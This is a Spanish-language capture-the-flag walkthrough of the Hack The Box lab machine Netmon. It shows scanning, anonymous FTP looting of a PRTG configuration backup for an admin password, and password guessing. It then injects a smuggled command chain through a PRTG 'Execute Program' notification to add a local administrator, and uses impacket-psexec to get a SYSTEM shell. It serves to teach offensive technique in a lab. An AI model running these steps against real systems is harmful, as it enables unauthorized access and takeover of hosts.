Netmon

Enumeración

Iniciamos la fase de reconocimiento validando la conectividad con el objetivo. El TTL=127 del paquete ICMP nos indicó de inmediato que nos enfrentábamos a un sistema operativo Windows. Al realizar un escaneo de puertos con Nmap, descubrimos una superficie de ataque interesante con los puertos 21 (FTP), 80 (HTTP) y 445 (SMB) abiertos.

Tras intentar un acceso anónimo al servicio SMB sin éxito, procedimos a probar el mismo vector en el servicio FTP. Logramos una conexión exitosa como usuario anonymous, lo que nos otorgó acceso de lectura a la raíz del disco C:\. Al navegar por directorios críticos, llegamos a C:\ProgramData\Paessler\PRTG Network Monitor, donde localizamos archivos de configuración y backups que suelen contener credenciales en texto plano.

# Inicializar el entorno de trabajo y definir la IP del objetivo
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ htb-init netmon 10.129.230.176
Target IP globally set to: 10.129.230.176

# [-c 1] Enviar un único paquete para determinar el OS mediante el TTL (127 = Windows)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ ping -c 1 $IP
64 bytes from 10.129.230.176: icmp_seq=1 ttl=127 time=111 ms

# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT      STATE    SERVICE
21/tcp    open     ftp
80/tcp    open     http
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
5985/tcp  open     wsman
18592/tcp filtered unknown
21265/tcp filtered unknown
47001/tcp open     winrm
49664/tcp open     unknown
49665/tcp open     unknown
49666/tcp open     unknown
49667/tcp open     unknown
49668/tcp open     unknown
49669/tcp open     unknown
49906/tcp filtered unknown
50421/tcp filtered unknown
58803/tcp filtered unknown
63101/tcp filtered unknown

# Extraer y copiar al portapapeles los puertos abiertos encontrados en el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ extractPorts nmap/allPorts
[*] IP Address: 10.129.230.176
[*] Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
[!] Ports copied to clipboard

# [-sCV] Ejecutar scripts de enumeración por defecto y detección de versiones de servicios
# [-oN] Guardar el reporte en formato legible de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ sudo nmap -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV --min-rate=5000 $IP -oN nmap/versions
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_11-10-23  10:20AM       <DIR>          Windows
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-05-13T06:11:18
|_  start_date: 2026-05-13T06:05:38
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -12s, deviation: 0s, median: -12s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

# Intentar acceso anónimo al FTP (anonymous)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ ftp $IP

# Navegar a la ruta donde PRTG almacena su base de datos y configuraciones
# ProgramData es un directorio oculto en Windows que suele contener datos de aplicaciones
ftp> cd ProgramData/Paessler/"PRTG Network Monitor"

# Listar archivos en busca de configuraciones antiguas (.old) o backups (.bak)
ftp> ls
05-13-26  02:48AM       <DIR>          Configuration Auto-Backups
05-13-26  02:16AM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
05-13-26  02:16AM       <DIR>          Logs (Web Server)
05-13-26  02:16AM       <DIR>          Monitoring Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
05-13-26  02:47AM              1673141 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database

# Descargar los archivos de interés para analizarlos localmente con herramientas de texto
ftp> get "PRTG Configuration.old"
ftp> get "PRTG Configuration.old.bak"

# [-i] Ignorar mayúsculas/minúsculas
# [-C 5] Mostrar 5 líneas de contexto alrededor del hallazgo para identificar el bloque XML
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ grep -iC 5 "prtgadmin" "PRTG Configuration.old.bak"
<dbpassword>
  <!-- User: prtgadmin -->
  PrTg@dmin2018
</dbpassword>

Explotación

Al inspeccionar el archivo PRTG Configuration.old.bak, localizamos la credencial PrTg@dmin2018 para el usuario prtgadmin. Aunque esta credencial falló inicialmente en el panel web, aplicamos una técnica de adivinanza basada en el año de lanzamiento de la máquina (2019), logrando acceso exitoso con PrTg@dmin2019

Una vez dentro del panel de control de PRTG, aprovechamos una funcionalidad legítima de Notificaciones que permite la ejecución de scripts o programas externos tras cumplirse una condición de alerta. Al crear una notificación personalizada del tipo “Execute Program”, inyectamos comandos de sistema para crear un nuevo usuario con privilegios administrativos.

Dashboard principal

  1. Navegar a Setup -> Account Settings -> Notifications
  2. Crear nueva notificación: “Execute Program”
  3. Parameter: Script que añade un usuario al grupo de administradores locales
# 1. 'net user' crea la cuenta local
# 2. 'net localgroup' la añade al grupo de administradores
# Utilizamos ";" como delimitador de comandos en Windows
test.txt; net user pwned jquirozz.com /add; net localgroup administrators pwned /add

Configuración de notificación

Con el usuario pwned ya registrado como administrador en el sistema, procedimos a materializar el acceso en una shell interactiva. Utilizamos impacket-psexec, una herramienta que aprovecha el protocolo SMB para cargar un ejecutable de servicio, registrarlo y proporcionarnos una consola con privilegios de NT AUTHORITY\SYSTEM.

Este método es extremadamente eficaz en entornos Windows con SMB abierto, ya que nos permite saltar directamente a la gestión total del sistema sin necesidad de explotar vulnerabilidades adicionales.

# impacket-psexec usuario:contraseña@target
┌──(jquirozz㉿jquirozz.com)-[~/HTB/netmon]
└─$ impacket-psexec 'pwned':'jquirozz.com'@$IP
C:\Windows\system32>

# Este archivo era accesible desde FTP
C:\Windows\system32> type C:\Users\Public\Desktop\user.txt
dd****************************91

# Pwned!
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
79****************************ca